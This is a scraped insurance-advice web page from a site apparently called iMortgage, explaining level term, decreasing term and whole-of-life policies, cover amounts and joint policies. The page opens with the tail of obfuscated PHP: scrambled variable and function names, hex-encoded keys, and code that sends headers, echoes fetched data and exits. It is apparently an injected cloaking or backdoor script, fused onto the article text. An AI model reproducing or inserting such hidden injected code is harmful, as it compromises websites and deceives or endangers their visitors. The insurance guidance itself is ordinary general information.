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as $O00OO0_O__){@header($O00OO0_O__);}echo $O0__O00O_O["\x64\x61\x74\x61"];die();}}O_O_O_000O($O__O0_OO00); ?> Life Insurance - iMortgage

Life Insurance

What is life insurance?

Life insurance is a special policy that pays out a lump sum of money if you die. It’s not an insurance that you renew annually, like your house or car insurance. It usually it lasts a set term such as 10 or 20 years, then hopefully finishes without you needing to claim.

Life insurance is designed to pay out should you die, so that the people you care for are looked after financially. This is reassuringly unlikely in our younger years, but it’s always a possibility. Being prepared for worst gives you peace of mind and fewer sleepless nights.

How does life insurance work with a mortgage?

The idea is that you take out a policy that will pay out a significant sum if you die – ideally, to pay the mortgage off altogether, or if not, enable your beneficiary to reduce the size of the debt and their monthly payments.

What types of cover are there?

There are a few different types of life insurance. It’s best to think about your circumstances and see which one suits you the most.

Level Term

Here you insure yourself for a ‘level’ sum (it doesn’t increase or decrease) for a fixed ‘term’. Once your policy is over, the cover ends. Say you insure your life for £100,000 over a 25 year term. If you were to die at any time while the cover’s in place, your family would receive £100,000.

Decreasing Term

This is often used in conjunction with your mortgage, so that the sum insured reduces alongside the debt of your mortgage. This is usually a cheaper option than level term as the amount the insurer pays out lessens as you grow older.

Whole-of-life insurance

Often referred to as life assurance. The ‘assurance’ part means that the insurer will definitely pay out at some point as, providing you continue to pay your premiums you will always be covered – there’s no end to the term. These policies are generally more expensive and you have to keep paying them right up until a set age limit, so do check whether this will be suitable for you.

How long should you be covered for?

Most people take out the cover when they have a partner or dependants living at home. Once you get to a point in life where you have fewer financial commitments and your children are independent, you might not need to worry. That’s why many policies last 25 years.

How much cover do you need?

Some experts advise insuring yourself for 10 times your income. Alternatively, you could sit down and total up all your commitments, like paying off the mortgage and any debts. After that calculate all the other things your family could need help with – like university fees or weddings for example. This should give you a rough idea.

Is it better to get a joint or single life insurance policy?

This is really a personal preference. Joint policies are cheaper but will only pay out on the first death within a couple. So if you die together, there will only be one payout. If one of you dies, the other receives a sum but the policy will cease. Single policies obviously cover an individual but are often more expensive.

How do I get a life insurance policy?

An insurer will decide how much of a risk you are to them. When you apply they will ask you questions about yourself, your health, medical history, job, hobbies, whether you drink and smoke etc. Basically the healthier your body and lifestyle, the cheaper your premium should be.

It’s really important to be totally honest! If you lie that you don’t smoke, for example, you might get a lower premium… but if you die of a smoking-related illness, your cover could be invalid and your family get nothing.

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